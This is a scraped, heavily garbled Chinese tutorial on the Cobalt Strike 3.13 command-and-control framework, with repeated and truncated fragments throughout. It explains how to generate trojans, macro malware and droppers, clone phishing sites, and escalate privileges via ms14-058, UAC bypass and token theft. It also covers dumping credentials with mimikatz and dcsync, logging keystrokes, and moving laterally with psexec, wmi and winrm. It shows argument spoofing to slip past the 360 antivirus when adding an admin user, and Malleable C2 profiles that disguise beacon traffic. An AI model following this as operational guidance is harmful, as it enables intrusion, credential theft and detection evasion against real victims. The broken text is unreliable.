版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
目前目CobaltStrike Strike基本使 Strike模塊介 Strike腳本使CobaltStrikeMalleableExternalCS默認(rèn)端口-證書-雜項(xiàng)CSBeacon和監(jiān)聽器目前目CobaltStrike Strike基本使 Strike模塊介 Strike腳本使CobaltStrikeMalleableExternalCS默認(rèn)端口-證書-雜項(xiàng)CSBeacon和監(jiān)聽器CS會(huì)話聯(lián)動(dòng)(外部監(jiān)聽器使用 Strike腳本編 Strike更新記1前國內(nèi)關(guān)于CobaltStrike的教程前國內(nèi)關(guān)于CobaltStrike的教程比較少我就隨便寫寫如果有錯(cuò)誤的地方還請(qǐng)指出我好以下文檔全部以Strike3.13漢化版為例關(guān)于3.13漢化修改https://wbglil.github.io/2019/03/03/cobaltstrike-3-反饋:V0JHbFlsQGdtYWlsLmNvMTc1NzgxMjc2目CobaltStrike簡(jiǎn)目CobaltStrike簡(jiǎn)CobaltStrike基本使用CobaltStrike模塊介紹CobaltStrike腳本使CobaltStrike擴(kuò)3CobaltStrike簡(jiǎn)CobaltStrike是一款內(nèi)網(wǎng)滲透測(cè)試神器,常被業(yè)界人稱為CS。CobaltStrike簡(jiǎn)CobaltStrike是一款內(nèi)網(wǎng)滲透測(cè)試神器,常被業(yè)界人稱為CS。CobaltStrike2.0版本主要是結(jié)合Metasploit可以稱為圖形化MSF工具。而CobaltStrike3.0已經(jīng)不再使用Metasploit框架而作為一個(gè)獨(dú)立的平臺(tái)使用,它分為客戶端與服務(wù)端,服務(wù)端是一個(gè),客戶端可以有多個(gè),可被團(tuán)隊(duì)進(jìn)行分布式協(xié)團(tuán)操作??蛻舳四J胶头?wù)端模式可以在Windows以及Linux上運(yùn)行這里要注意服務(wù)端模式在Windows下運(yùn)行時(shí)有可能會(huì)出現(xiàn)一些細(xì)小的問題不過影響不大??梢院芎玫慕鉀Qmetasploit對(duì)Windows Strike集成了端口轉(zhuǎn)發(fā)、服務(wù)掃描,自動(dòng)化溢出,多模式端口監(jiān)聽,widll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點(diǎn)克隆,目標(biāo)信息獲取,java執(zhí)行,瀏覽器自動(dòng)攻擊等 Strike官網(wǎng)4 Strike基本使 Strike基本信 Strike菜單欄介紹Cobalt Strike基本使 Strike基本信 Strike菜單欄介紹Cobalt視圖攻擊報(bào)告幫 Strike工具欄介紹 Strike工作區(qū)介紹截 Strike基本功 Strike會(huì)話基本操作vnc遠(yuǎn)程桌等等cs3.13全部功5 Strike基本使 Strike基本使6CobaltStrike目錄以下目錄結(jié)構(gòu)我以CobaltStrike目錄以下目錄結(jié)構(gòu)我以3.13漢化修改版為例刪除了一些沒用的文件添加了一些腳本啟動(dòng)服務(wù)cobaltstrike.jar既是服務(wù)端程序也是客戶端程序,一般情況Linux用teamserver啟動(dòng)服務(wù)端,Windows一般用teamserver.bat啟動(dòng)服務(wù)端Windows和Linux通用這個(gè)命令,如果提示沒有證書就按照提示創(chuàng)建證書,權(quán)限不7teamserverhost│agscript[拓展應(yīng)用的腳本│c2lint[檢查c2配置文件的語法和預(yù)覽|peclone用來解析│cobaltstrike.exe【W(wǎng)indows客戶端程序(用來啟動(dòng)cobaltstrike.jar)注:我刪了轉(zhuǎn)而使用cobaltstrike.bat代替|cobaltstrike.bat【W(wǎng)indows客戶端程序│cobaltstrike.jar【主體程序|cobaltStrikeCN.jar【漢化程序││license.pdf【刪了│readme.txt【刪了│releasenotes.txt【刪了│teamserver【Linux服務(wù)端啟動(dòng)程序(linuxshell腳本)|teamserver.bat【W(wǎng)indows服務(wù)端啟動(dòng)程序(windowsbat批處理)│update【刪了│update.jar【刪了|─third-party第三方工具【vnc遠(yuǎn)程功能dll(如果沒有就不能使用當(dāng)初我就放錯(cuò)了導(dǎo)致無法使用還好有人提醒我及時(shí)更換了) winvnc.x64.dll【vnc服務(wù)端dllx64位 winvnc.x86.dll【vnc服務(wù)端dllx86位|—Scripts一些腳本文啟動(dòng)客戶在Linux下和Windows下相同可以使用命令行也可以直接運(yùn)行啟動(dòng)客戶在Linux下和Windows下相同可以使用命令行也可以直接運(yùn)行輸入主機(jī)ip,連接端口(默認(rèn)50050),以及你想使用的用戶名和服務(wù)端密碼就可以連首次連接的服務(wù)器會(huì)顯示服務(wù)端的SSL證書的SHA256哈希值請(qǐng)確認(rèn)它是否和你服務(wù)端SSL證書的SHA256哈希值一樣以防止中間人攻8java-Dfile.encoding=UTF-8-javaagent:CobaltStrikeCN.jar-XX:ParallelGCThreads=4-XX:+AggressiveHeap-XX:+UseParallelGC-jarcob菜單Cobalt視圖攻擊報(bào)告幫Cobalt新建連接——連接到新的服務(wù)端設(shè)置——主要是設(shè)置cs菜單Cobalt視圖攻擊報(bào)告幫Cobalt新建連接——連接到新的服務(wù)端設(shè)置——主要是設(shè)置cs的界面以及保存的連接記錄等等可視化——對(duì)應(yīng)著這三按鈕4.VPN接口——主要是管理VPN的,作為跳板95.監(jiān)聽器——這個(gè)很重要是用來監(jiān)聽回連的3.13包括以下這些一共9種1.windows/beacon_dns/rev5.監(jiān)聽器——這個(gè)很重要是用來監(jiān)聽回連的3.13包括以下這些一共9種1.windows/beacon_dns/reverse_dns_txtbeacon為cs內(nèi)置監(jiān)聽器,也就是說,當(dāng)我們?cè)谀繕?biāo)系統(tǒng)成功執(zhí)行payload以后,會(huì)彈回一個(gè)beacon的shell給csforeign主要是提供給外部使用的一些監(jiān)聽器,比如你想利用cs派生一個(gè)meterpreter或者armitage的shell回來,來繼續(xù)后面的內(nèi)網(wǎng)滲透,這時(shí)就選擇使用腳本管理器——用來管理加載腳本關(guān)閉——退出CS視應(yīng)用信息——信息收集模塊搜集的信息可以在這里查看憑據(jù)信息——獲取到的憑據(jù)信息都可以在這里查看Add添加憑Edit編輯憑Copy復(fù)制憑 將憑據(jù)導(dǎo)出到Edit編輯憑Copy復(fù)制憑 將憑據(jù)導(dǎo)出到 3.文件下選擇指定文件或Ctrl+A全選,然后點(diǎn)擊Files可以將其保存在指定文件夾。認(rèn)情況下載的文件是直接保存在cs的downloads目錄下的而且文件名是隨機(jī)的非常4.日日志就是日志沒什么好說的5.鍵盤記就是用來查看保存的鍵盤記錄的6.代理信 在MSF 在MSF中執(zhí)行setg7.屏幕截 8.Script腳本控制臺(tái)這個(gè)會(huì)在Cobalt9.目Strike模塊介紹里詳細(xì)介紹的這里可以顯示內(nèi)網(wǎng)中的主機(jī)包括以攻破和未攻破的也可以通過切換到目標(biāo)列表視圖 添加目標(biāo)(如果未顯示一這里可以顯示內(nèi)網(wǎng)中的主機(jī)包括以攻破和未攻破的也可以通過切換到目標(biāo)列表視圖 添加目標(biāo)(如果未顯示一些目標(biāo)你可以手動(dòng)進(jìn)行添加 右鍵目標(biāo)登可以使用多種方式遠(yuǎn)程連接目標(biāo)然后執(zhí)行Payload生成會(huì)話掃服用于顯示對(duì)目標(biāo)掃描的結(jié)果攻1.生成后門,生成各種后門來連接cs這里要說一下生成hta程序時(shí)不要使用Executable否則運(yùn)行會(huì)報(bào)錯(cuò)具體什么問題我也沒有研究過反正其他的可以使用如Powershell類型VBA類型HTMLApplication生成惡意的HTA木馬用于顯示對(duì)目標(biāo)掃描的結(jié)果攻1.生成后門,生成各種后門來連接cs這里要說一下生成hta程序時(shí)不要使用Executable否則運(yùn)行會(huì)報(bào)錯(cuò)具體什么問題我也沒有研究過反正其他的可以使用如Powershell類型VBA類型HTMLApplication生成惡意的HTA木馬文件MSOfficeMacro生成office宏病毒文件PayloadGenerator生成各種語言版本的payloadUSB/CDAutoPlay生成利用自動(dòng)播放運(yùn)行的木馬文WindowsDropper捆綁器,能夠?qū)ζ渌募M(jìn)行捆WindowsExecutable生成可執(zhí)行exe木Executa 生成無狀態(tài)的可執(zhí)行exe木2.釣魚攻擊,這里主要是輔助和橫向模塊web服務(wù)管理對(duì)開啟的web服務(wù)進(jìn)行管理克隆網(wǎng)站可以記錄受害者提交的數(shù)據(jù)提供一個(gè)文件下載,可以修改Mime信息腳本web傳遞生成腳本通過web傳遞(利用powershell,bitsadmin,regsvr32成會(huì)話簽名Applet攻使用java自簽名的程序進(jìn)行釣魚攻智能攻 自動(dòng)檢測(cè)java版本并進(jìn)行攻擊,針對(duì)Jav1.6.0_45以下以及Jav1.7.0_21以下版本用來獲取一些系統(tǒng)信息,比如系統(tǒng)版本,F(xiàn)lash版本,瀏覽器版本等_21以下版本用來獲取一些系統(tǒng)信息,比如系統(tǒng)版本,F(xiàn)lash版本,瀏覽器版本等3.釣魚郵件,用來郵件釣魚的一般不常用報(bào)幫工具改變視圖為Graph(可以顯示各個(gè)目標(biāo)的關(guān)系改變視圖為SessionTable(會(huì)話列表)改變視圖為TargetTable(目標(biāo)列表)查看文件下載查看鍵盤記錄生成無狀態(tài)Beacon后門生成腳本通過web傳遞(利用powershell,bitsadmin,regsvr32生成會(huì)話在Strike的web服務(wù)上托管一個(gè)文件(提供一個(gè)文件下載管理Cobal幫關(guān)Strike上運(yùn)行的web管理Cobal幫關(guān)Strike上運(yùn)行的web服務(wù)工作區(qū)這里主要是顯示各種模塊功能的窗口,右鍵那個(gè)叉可獨(dú)立顯示或保存這個(gè)窗口的截圖(默認(rèn)在服務(wù)器的logsxxxxxscreenshots你使用的用戶名)右鍵工作區(qū)基本功能使創(chuàng)建監(jiān)基本功能使創(chuàng)建監(jiān)聽 Strike—>監(jiān)聽器—>創(chuàng)建后攻擊—>生成后門—>選擇類型這里我還是改用公網(wǎng)v這里我還是改用公網(wǎng)vps當(dāng)服務(wù)器吧更真實(shí)一些 代表外網(wǎng)ip(既是連接cs服務(wù)端的internal代表內(nèi)網(wǎng)ipuser代表用戶computer代表計(jì)算機(jī)名note代表備注pid代表此后門的 代表休眠時(shí)間這個(gè)和sleep有關(guān)每當(dāng)?shù)竭_(dá)sleep設(shè)置的秒數(shù)時(shí)就會(huì)重置為0默sleep為會(huì)話功能介右鍵會(huì)話可以進(jìn)行各種操作1.進(jìn)入可以執(zhí)行各種命令這個(gè)在CobaltStrike模塊介紹中詳細(xì)說明的1.進(jìn)入可以執(zhí)行各種命令這個(gè)在CobaltStrike模塊介紹中詳細(xì)說明的轉(zhuǎn)儲(chǔ)需要管理員權(quán)限和MSF的hashdump命令一樣默需要管理員權(quán)限和MSF的hashdump命令一樣默認(rèn)就這3個(gè)不過我在漢化修改版里附帶有好幾個(gè)提權(quán)的腳ms14-058是個(gè)老提權(quán)漏洞利用方式,可利用于Wi7系統(tǒng)uac-dll是一種ByUAC攻擊,是由本地管理員運(yùn)行payload從中等權(quán)限往最高權(quán)限提升的過程,適用于wind7和uac-token-duplication是利用令牌竊取繞過uac從中等權(quán)限往最高權(quán)限提升,此攻擊使用UAC漏洞,該漏洞允許非提升的進(jìn)程使用從提升的進(jìn)程中竊取的令牌來啟動(dòng)意進(jìn)程,是另一種BypasUAC這里我選擇ms14-058進(jìn)行演Exp后點(diǎn)擊開始,當(dāng)利用成功后會(huì)返回一個(gè)新的高權(quán)限會(huì)話這里Exp后點(diǎn)擊開始,當(dāng)利用成功后會(huì)返回一個(gè)新的高權(quán)限會(huì)話這里我不做演示因?yàn)槲覒械么钣颦h(huán)境,黃金票據(jù)Ticket):簡(jiǎn)單來說,它能黑客在擁有普通域用戶權(quán)限和krbtgthash的情況下,獲取域管理員權(quán)限。這是域滲詳細(xì)請(qǐng)看這里:/sec這里可以查看你所獲取的所有憑據(jù)并且可以把它制作成令牌當(dāng)然你也可以使用其他系統(tǒng)上的憑據(jù)制作成令牌讓Beacon冒充這個(gè)新令牌,這將獲得一個(gè)新令牌與之前的令牌在本地?zé)o法區(qū)分,當(dāng)使用Beacon的getuid命令查詢令牌的身份時(shí),將返回當(dāng)用戶。當(dāng)使用whoami時(shí)也將返回當(dāng)前用戶。那這東西有什么用呢?只有當(dāng)訪問Windows遠(yuǎn)程網(wǎng)絡(luò)資源時(shí)才會(huì)使用m用戶。當(dāng)使用whoami時(shí)也將返回當(dāng)前用戶。那這東西有什么用呢?只有當(dāng)訪問Windows遠(yuǎn)程網(wǎng)絡(luò)資源時(shí)才會(huì)使用make_token提供的令牌如Windows共享等等Run運(yùn)行Mimikatz的logonpasswords命令Spawn選擇瀏覽器進(jìn)程進(jìn)行注入,然會(huì)開啟HTTP代理,之后在本機(jī)瀏覽器使用代理就可以直接登錄受害者登錄的網(wǎng)站了遠(yuǎn)程通過注入dll選擇瀏覽器進(jìn)程進(jìn)行注入,然會(huì)開啟HTTP代理,之后在本機(jī)瀏覽器使用代理就可以直接登錄受害者登錄的網(wǎng)站了遠(yuǎn)程通過注入dll到目標(biāo)進(jìn)程開啟遠(yuǎn)程vnc功能可以直接操作或查看目標(biāo)桌面從左到右依次介紹按鈕功能原始比例查發(fā)送'Ctrl-Alt-發(fā)送winUpload上傳本機(jī)文件到目標(biāo)Upload上傳本機(jī)文件到目標(biāo)機(jī)MakeDirectory新建文件ListDrives列出目標(biāo)盤 Net就是執(zhí)行Windows的netview查看進(jìn)程列表以及操作進(jìn)程Kill結(jié)束進(jìn)Refresh刷 注入Payload到一個(gè)進(jìn)程 Keystroke查看進(jìn)程列表以及操作進(jìn)程Kill結(jié)束進(jìn)Refresh刷 注入Payload到一個(gè)進(jìn)程 Keystroke 屏幕截 這個(gè)按鈕廢了以后解StealToken竊取進(jìn)程SOCKSSOCKS這里選擇中轉(zhuǎn)器的監(jiān)這里選擇中轉(zhuǎn)器的監(jiān)聽器生成木馬。需要注意的是作為中轉(zhuǎn)器的PC要確認(rèn)防火墻情況因它會(huì)監(jiān)聽一個(gè)本地端口并等待連接,如果開啟了防火墻會(huì)產(chǎn)生一個(gè)Windows安最好提前用cmd添加一個(gè)防火墻放行規(guī)則或關(guān)閉防火墻,然后將無狀態(tài)的木馬上傳到內(nèi)網(wǎng)的其他機(jī)器運(yùn)行后就會(huì)返回一個(gè)會(huì)話Deploy選擇對(duì)應(yīng)的最好提前用cmd添加一個(gè)防火墻放行規(guī)則或關(guān)閉防火墻,然后將無狀態(tài)的木馬上傳到內(nèi)網(wǎng)的其他機(jī)器運(yùn)行后就會(huì)返回一個(gè)會(huì)話Deploy選擇對(duì)應(yīng)的內(nèi)網(wǎng)ip然后選擇一個(gè)接口如果沒有接口就添加一個(gè)在這里有多種方式的隧道,可以根據(jù)自己的需要選擇,默認(rèn)UDP是開銷最小的一種方式。添加以后,點(diǎn)擊Deploy則可部署成功??梢栽赩PN接口看到相關(guān)信息之后需要在VPS上配置此網(wǎng)接口然后就可以正常訪問內(nèi)網(wǎng)了在這里有多種方式的隧道,可以根據(jù)自己的需要選擇,默認(rèn)UDP是開銷最小的一種方式。添加以后,點(diǎn)擊Deploy則可部署成功??梢栽赩PN接口看到相關(guān)信息之后需要在VPS上配置此網(wǎng)接口然后就可以正常訪問內(nèi)網(wǎng)了注意:此功能在Windows10目標(biāo)上不起作用。通過派生會(huì)話可以和msf或Armitage聯(lián)動(dòng)等等打開MSF或Armitage做好監(jiān)聽配置之后選擇或添加一個(gè)外部Payload然后點(diǎn)Choose之后就會(huì)收到會(huì)話連備注給目標(biāo)一個(gè)備注Remove刪除目標(biāo)Sleep設(shè)置睡眠時(shí)間(秒) 退出(木馬直接結(jié)束運(yùn)行sudoifconfigphearx Strike模塊介這里主要介紹beacon和Scri Strike模塊介這里主要介紹beacon和ScriConsole模塊Beacon控制Beacon是異步有效負(fù)載。命令不會(huì)立即執(zhí)行。每個(gè)命令都進(jìn)入隊(duì)列。當(dāng)Beacon連接到你時(shí),它將接收這些命令并逐個(gè)執(zhí)行,然后Beacon報(bào)告返回結(jié)果,可以使用clear命令清除當(dāng)前Beacon的命令隊(duì)列默認(rèn)情況下,Beacon每60秒連接檢查一次,可以使用sleep命令更改此設(shè)置sleep以秒為單位指定Beacon檢查的頻率。如sle5(每5秒鐘檢查一次)。還可以指定0到99之間為第二個(gè)參數(shù)。此參數(shù)為隨機(jī)數(shù)。Beacon會(huì)根據(jù)指定的隨機(jī)百分比改變每個(gè)檢查的時(shí)間。如,sleep30020將使Beacon以20%的隨機(jī)數(shù)睡眠300秒。這將使Beacon在240到300秒之間隨機(jī)檢查一次。如果設(shè)置0這將使用交互模式。在交互模式下,命令將立即執(zhí)行。Beaconargue進(jìn)程參數(shù)欺argue[command][fakeargue命令假參數(shù)欺騙某個(gè)命令參數(shù)argueargue命令取消欺騙某個(gè)命令參help幫助命令顯示全部命helpxxx顯示某個(gè)命令的詳細(xì)信 Strike模塊介利用這個(gè)也可以繞過360添加用戶比如argue Strike模塊介利用這個(gè)也可以繞過360添加用戶比如arguenet1/hello/hello/hello/hellorunnet1useradmin123451runasadmin以高權(quán)限運(yùn)runasadminrunasadmin命令參數(shù)setenv用來設(shè)置環(huán)境變setenv[key]reg用來查詢注冊(cè)regqueryregqueryv[root\path]root可以使用HKLM,HKCR,HKCC,HKCU,execute-assembly在目標(biāo)上執(zhí)行本地.NET程execute-assembly[/path/to/file.exe]dllload使用LoadLibrary將DLL加載到指定的進(jìn)程中。DLL必須在于目標(biāo)dllload[pid]getprivs在當(dāng)前令牌上啟用盡可能多的系統(tǒng)權(quán)kerberos_ticket_purge清除當(dāng)前shell的Kerberos票kerberos_ccache_use從ccache文件中導(dǎo)入Kerberos票kerberos_ccache_usekerberos_ticket_use從ticket文件中導(dǎo)入Kerberos票kerberos_ticket_usekill結(jié)束進(jìn)killps查看進(jìn)程列timestomp將一個(gè)文件的時(shí)間戳應(yīng)用的另一個(gè)文timestomp[fileA] Strike模塊介bypassuac繞過uac獲取權(quán)bypassuacgetuid獲取 Strike模塊介bypassuac繞過uac獲取權(quán)bypassuacgetuid獲取用戶rev2self恢復(fù)原始令steal_token從進(jìn)程中竊取令steal_tokengetsystem獲取system權(quán)l(xiāng)ink重新連接到SMBBeacon后門并建立對(duì)它的控制link[target]link目link[ip]連接到指定的Beaconlinkip地址connect重新連接到TCPBeacon后門并建立對(duì)它的控制connect[target]connect目unlink斷開與當(dāng)前的Beacon連接,等待另一個(gè)Beacon的連unlink默認(rèn)斷開與當(dāng)前的Beacon連unlink[ip]斷開與指定的Beacon連cd切換目clear清除Beacon任務(wù)列download下載文downloadshell執(zhí)行cmd命shell[command]powershell執(zhí)行powershell命powershell[commandlet] Strike模塊介powershell-import導(dǎo)入powershell模powershell-importexecute執(zhí)行程 Strike模塊介powershell-import導(dǎo)入powershell模powershell-importexecute執(zhí)行程execute[program]執(zhí)行程序不返回輸run執(zhí)行程run[program]執(zhí)行程序返回輸inject向一個(gè)進(jìn)程注入監(jiān)聽器shellcodeinject[pid]<x86|x64>[listener]shinject向一個(gè)進(jìn)程注入shinject[pid]<x86|x64>shspawn創(chuàng)建一個(gè)進(jìn)程并將shellcode注入其中shspawn<x86|x64>dllinject利用反射dll注入一個(gè)進(jìn)dllinject[pid]keylogger將鍵盤注入器注入指定進(jìn)keylogger[pid]<x86|x64>注入指定進(jìn)程開啟鍵盤記keylogger開啟鍵盤記錄(生成一個(gè)臨時(shí)進(jìn)程并將鍵盤記錄注入其中message向用戶顯示消息cs作者說這是一個(gè)愚蠢的命令(笑)message[text]stop停止代理port在指定端口開啟代注意:如果Beacon在睡眠時(shí)流量是不會(huì)被代理的請(qǐng)使用sleep進(jìn)行改變,減少睡眠時(shí)間或更改為交互式sleep0sleep在最前面說了這里不說spawn生成x86或x64進(jìn)程并將監(jiān)聽器shellcode注入注入其中派生會(huì) Strike模塊介spawn[x86|x64]spawnspawnto在指定的 Strike模塊介spawn[x86|x64]spawnspawnto在指定的程序中執(zhí)行Beacon的命spawnto[x86|x64]upload上傳文件到目uploadrunas以其他用戶身份執(zhí)行程runas[DOMAIN\user][password][command]如果未指定DOMAIN,Beacon將嘗試以本地用戶身份進(jìn)行身份驗(yàn)證。pwd查看在目標(biāo)機(jī)上的路covertvpn前面介紹covertvpn[interface][ipbrowserpivot瀏覽器代理前面介紹browserpivot[pid]browserpivotdesktop遠(yuǎn)程桌面desktop[pid][x86|x64][high|low]desktop[high|low]將vnc注入到指定進(jìn)程可以選擇畫面質(zhì)量是高質(zhì)量還是低質(zhì)jobs列出在后臺(tái)運(yùn)行的各種后滲透任jobkill結(jié)束后滲透任jobkill[jobhashdump轉(zhuǎn)儲(chǔ)密碼哈wdigest使用mimikatz轉(zhuǎn)儲(chǔ)明文憑mimikatz執(zhí)行mimikatz命mimikatz[module::command]mimikatz[!module::command] Strike模塊介mimikatz[@module::command]和普通使用mimikatz沒什么區(qū)screenshot Strike模塊介mimikatz[@module::command]和普通使用mimikatz沒什么區(qū)screenshot屏幕截screenshot[pid]<x86|x64>[runscreenshot默認(rèn)截圖屏inmake_token制作令make_token[DOMAIN\user]前面同樣介紹downloads查看正在進(jìn)行的下載任cancel取消正在進(jìn)行的下cancelrportfwd端口轉(zhuǎn)rportfwd[bindport][forwardhost]rportfwdstop[bindport]停止指定端口轉(zhuǎn)port]開啟指定端口轉(zhuǎn)elevate使用elevate[exploit]mkdir創(chuàng)建目mkdirls查看文rm刪除文drives列出盤psexec_psh利用psexec和powershell生成會(huì)psexec_psh[host]wmi利用WMI和PowerShell生成會(huì)wmi[host]winrm利用WinRM和PowerShell生成會(huì)winrm[host] Strike模塊介psexec利用psexec生成會(huì)psexec[host] Strike模塊介psexec利用psexec生成會(huì)psexec[host][share][share]指定要將文件復(fù)制到哪個(gè)共享(例如,ADMIN$或spawnas以其他用戶權(quán)限生成會(huì)spawnas[DOMAIN\user][password]portscan端口掃portscan[targets][ports][arp|icmp|none]portscan目標(biāo)端口方式最大連接目標(biāo)可以指定一個(gè)范圍端口以逗號(hào)分logonpasswords使用mimikatz轉(zhuǎn)儲(chǔ)明文憑據(jù)和NTLM哈note備dcsync就是mimikatz的dcsync功dcsync[DOMAIN.fqdn]powerpick使用UnmanagedPowerShell執(zhí)行命令powerpick[commandlet][args]psinject將非托管PowerShell注入特定進(jìn)程并執(zhí)行指定的命psinject[pid][x86|x64][commandlet] Strike模塊介Script Strike模塊介Script?執(zhí)行sleep判斷語句并輸出結(jié)e執(zhí)行sleep說明語help幫load加載一個(gè)腳ls列出加載的所有腳本proff關(guān)閉腳本分析器pron為開啟腳本分析器profile腳本性能統(tǒng)計(jì)reload重新加載腳本troff關(guān)閉腳本跟蹤功能tron開啟腳本跟蹤功能unload卸載腳本x執(zhí)行sleep表達(dá)式并輸出結(jié)sshssh遠(yuǎn)程連ssh[ip:port][user]ssh-key使用密鑰遠(yuǎn)ssh[ip:port][user]cp復(fù)制文mv移動(dòng)文ppid指定一個(gè)pid作為執(zhí)行Beacon命令的父進(jìn)程,runas命令不受這個(gè)影響ppidppid單獨(dú)輸入ppid重置為默spawnu在指定的pid中生成powershell子進(jìn)程執(zhí)行palyoadspawnu[pid][listener]runu指定一個(gè)pid為父進(jìn)程在其中執(zhí)行一條命runu[pid][command] Strike模塊介 Strike模塊介 Strike腳本使在Strike中有一個(gè)非常實(shí)用的功能,就是可以加載各 Strike腳本使在Strike中有一個(gè)非常實(shí)用的功能,就是可以加載各種腳本Load加載腳Unload卸載腳 說一些常用常見的腳本腳本名稱:ProcessT腳本功能:讓ps命令可以顯示父子關(guān)系并顯示顏 Strike腳本使腳本名稱:CVE-2018-腳 Strike腳本使腳本名稱:CVE-2018-腳本功能:CVE-2018-4878.c腳本功能:創(chuàng)建多種類型的payload。生成的文件在cs目錄下的opt\c腳本功能:利用CertUtil和rundll32生成會(huì)話這個(gè)應(yīng)該都知道了 Strike腳本使腳本名稱: Strike腳本使腳本名稱:RedTeamRa腳本功能:顯示帶有顏色的進(jìn)程列表(不同顏色有不同含義 Strike腳本使腳本功能 Strike腳本使腳本功能:顯示Beacon命令日志腳本名稱:ProcessM腳本名稱 Strike腳本使腳本功能:生成基于SM Strike腳本使腳本功能:生成基于SMB的payl腳本名稱腳本功能:持久化控制集合備注:這個(gè)腳本是同目錄腳本的一個(gè)集合腳本名稱:Eternalblue.c腳本功能:ms17-010備注:調(diào)用exploit/windows/smb/ms17_010_eternalbl更多:https://mp.weixin.qq.com/s/CEI1XYkq2PZmYsP0DRU7jg個(gè)人認(rèn)位這位老哥整理的已經(jīng)很全面了,為了方便查看我將里面的一些集合腳本介 Strike腳本使 Strike腳本使 Strike腳本使https://github.com/vysec/Agg Strike腳本使https://github.com/vysec/Aggressor-https://github.com/killswitch-GUI/CobaltStrike-T Strike腳本使https://github.com/rasta- Strike腳本使https://github.com/rasta-mouse/Aggressor-Scrihttps://github.com/Und3rf10w/Aggressor- Strike腳本使https://github.com/gaudard/scripts/tree/master/red Strike腳本使https://github.com/gaudard/scripts/tree/master/red-/threatexpress/aggressor-scripts/threatexpress/persistence-aggressor- Strike腳本使腳本來源/secgroundzero/CS- Strike腳本使腳本來源/secgroundzero/CS-Aggressor-Scri Strike腳本使用 Strike腳本使用之前請(qǐng)自行檢查腳本安全,需要注意:cs2.x的腳本和3.x的腳本互相不兼容日后如果有新的我也會(huì)繼續(xù)更新的CobaltStrike擴(kuò)Malleable有關(guān)CS的Malleable-C2-Profiles配置,介紹,編寫CobaltStrike擴(kuò)Malleable有關(guān)CS的Malleable-C2-Profiles配置,介紹,編寫等External有關(guān)CS的外部C2通信CS詳細(xì)講一下各種Beacon和監(jiān)聽器Malleable簡(jiǎn) StrikeMalleable-C2-Profiles配置文件是用來偽裝流量,讓通訊更加隱蔽Malleable簡(jiǎn) StrikeMalleable-C2-Profiles配置文件是用來偽裝流量,讓通訊更加隱蔽Beacon中使用http通信的payload由Malleable-C2-profile文件控制,關(guān)于Malleable-C2-profile,它是一個(gè)簡(jiǎn)單的配置文件,用來指定如何轉(zhuǎn)換數(shù)據(jù)并將其存儲(chǔ)在transaction中,轉(zhuǎn)換和存儲(chǔ)數(shù)據(jù)的相同配置文件也從transaction中提取和恢復(fù)。在啟動(dòng)服務(wù)器時(shí)我們可以指定一個(gè)配置文件,每個(gè)CS只能載入一個(gè)配置文件,多個(gè)文加載Malleable-C2-Profiles命令檢查預(yù)覽Profiles文件is的c其實(shí)之前如果有人用過那個(gè)ids服務(wù)端啟動(dòng)程序會(huì)發(fā)現(xiàn)有輸出一些亂碼這是因?yàn)槟切﹣y碼是lix下用來設(shè)置顏色的在這里檢查Prils文件的shll腳本我同樣放有一個(gè)Windows版的但是如果你是使用cm運(yùn)行,效果一定不好因?yàn)轭伾a會(huì)變成類似這種的東西,所以我提供了幾個(gè)方法使用linux不用Windows運(yùn)行服務(wù)端(這不是廢話嗎使用GitBash運(yùn)行c2lint這個(gè)Linuxshell腳本(不推薦因?yàn)镚itBash顏值你也知使用Terminus終端運(yùn)行c2lint.bat(推薦因?yàn)槠?5.使用其他終cmder運(yùn)行./c2lint./teamserver[externalIP][password]Terminus運(yùn)行東西我不多說這里直接放Terminus運(yùn)行東西我不多說這里直接放M和使用MC2腳本通信的數(shù)據(jù)包git庫。我就不演示用Wrueshark查看CS默認(rèn)http通信/rsmudge/Malleable-C2-MalleableC2語法解Malleable這個(gè)部分吧我也不知道如何寫是好,我的語文水平并不優(yōu)秀沒有辦法把我知道和理解的完美寫出來還請(qǐng)多多包涵,有錯(cuò)誤的也請(qǐng)及時(shí)提出。接下來說說profile文件的語Malleable這個(gè)部分吧我也不知道如何寫是好,我的語文水平并不優(yōu)秀沒有辦法把我知道和理解的完美寫出來還請(qǐng)多多包涵,有錯(cuò)誤的也請(qǐng)及時(shí)提出。接下來說說profile文件的語法格式這里我以CS3.13默認(rèn)profile文件file為#defaultsleeptimeis60ssetsleeptime"60000";#jitterfactor0-99%[randomizecallbacktimes]setjitter #maximumnumberofbytestosendinaDNSArecordrequestsetmaxdns #indicatethatthisisthedefaultBeaconprofilesetsample_name"CobaltStrikeBeacon(Default)";#defineindicatorsforanHTTPGEThttp-get{#Beaconwillrandomlychoosefromthispoolofseturi"/ca/dpixel/utm.gif/pixel.gif/g.pixel/updates.rss/fwlink/cm/cx/pixel/match/visit.js/load/push/ptj/j.ad/ga.js/en_US/all.js/activity/IE9CompatViewList.xclient#base64encodesessionmetadataandstoreitintheCookieheader.metadataheader}}server#servershouldsendoutputwithnochangesheader"Content-Type""application/octet-stream";output}}}}}}#defineindicatorsforanHTTPPOSThttp-post{#Sameasabove,BeaconwillrandomlychoosefromthispoolofURIs[ifmultipleURIsareprovided]seturiclientheader"Content-Type""application/octet-#transmitoursessionidentifierasidparameter}#postouroutputwithnorealchangesoutput{}}#Theserver'sresponsetoourHTTPPOSTserver{header"Content-Type"#thiswilljustprintanemptystring,meh...output{}}}MalleableMalleable數(shù)據(jù)轉(zhuǎn)換總是以終止語句結(jié)束(決定數(shù)把數(shù)據(jù)存放在http協(xié)議的什么地方AppendRemovelastLEN("string")Base64Base64URL-safeBase64URL-safeBase64XORmaskw/randomXORmaskw/samerandomNetBIOSEncodeNetBIOSDecodeNetBIOSEncodeNetBIOSDecodePrependRemovefirstLEN("string")#用來注set用來設(shè)置一些參數(shù)的默認(rèn);為結(jié)上述文件中setsleeptime"60000";為設(shè)置心跳包時(shí)間(就是sleep默認(rèn)時(shí)間60)setuseragent"xxx"設(shè)置user-agent等等還有許多這里不都說了對(duì)雙引號(hào)轉(zhuǎn)義其他特殊字符不需要轉(zhuǎn)配置文件使用{}將語句和信息組合在一起。語句總是以分號(hào)結(jié)Malleableheader頭終止語句將編碼后的數(shù)據(jù)存儲(chǔ)在HTTP頭中。參數(shù)終止語句將編碼后的據(jù)存儲(chǔ)在HTTP參數(shù)中。此參數(shù)Malleableheader頭終止語句將編碼后的數(shù)據(jù)存儲(chǔ)在HTTP頭中。參數(shù)終止語句將編碼后的據(jù)存儲(chǔ)在